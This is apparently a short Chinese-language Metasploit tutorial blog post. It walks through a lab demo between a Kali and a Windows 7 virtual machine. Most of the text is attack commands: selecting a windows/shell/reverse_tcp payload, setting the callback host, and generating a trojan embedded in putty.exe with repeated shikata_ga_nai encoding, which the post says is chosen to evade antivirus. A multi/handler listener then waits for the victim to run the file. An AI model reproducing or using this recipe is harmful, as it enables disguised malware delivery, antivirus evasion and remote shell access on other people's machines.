Metasploit简介

MSF简介：

metaspoilt是一个漏洞框架，全称为 THE Metasploit Framework，简称MSF

MSF 命令全集
msf启动：msfconsole

MSF的基本模块

MSF渗透步骤

一、扫描目标系统，寻找可利用的漏洞
二、选择并配置一个漏洞利用模块
三、选择并配置一个攻击载荷模块
四、选择一个编码技术，用来绕过杀毒软件的查杀
五、渗透攻击

实战演示

我准备了两台虚拟机
kali 192.168.57.135
windows7 192.168.57.137

先查看metasploit集成的payload
show payload

使用反弹的payload
use payload windows/shell/reverse_tcp

查看payload的配置信息
show option

设置回连ip
set lhost 192.168.57.135

运行generate命令利用已有的exe文件生成木马，不会破坏exe文件，更不容易被发现
generate -b '\x00,\xff ’ -f exe -e x86/shikata_ga_nai -i 5 -k -x /root/putty.exe -o /root/muma.exe

将木马放在目标主机上我们运行MSF侦听模块

use exploit/multi/handler

set payload windows/shell/reverse_tcp

等目标机运行程序即可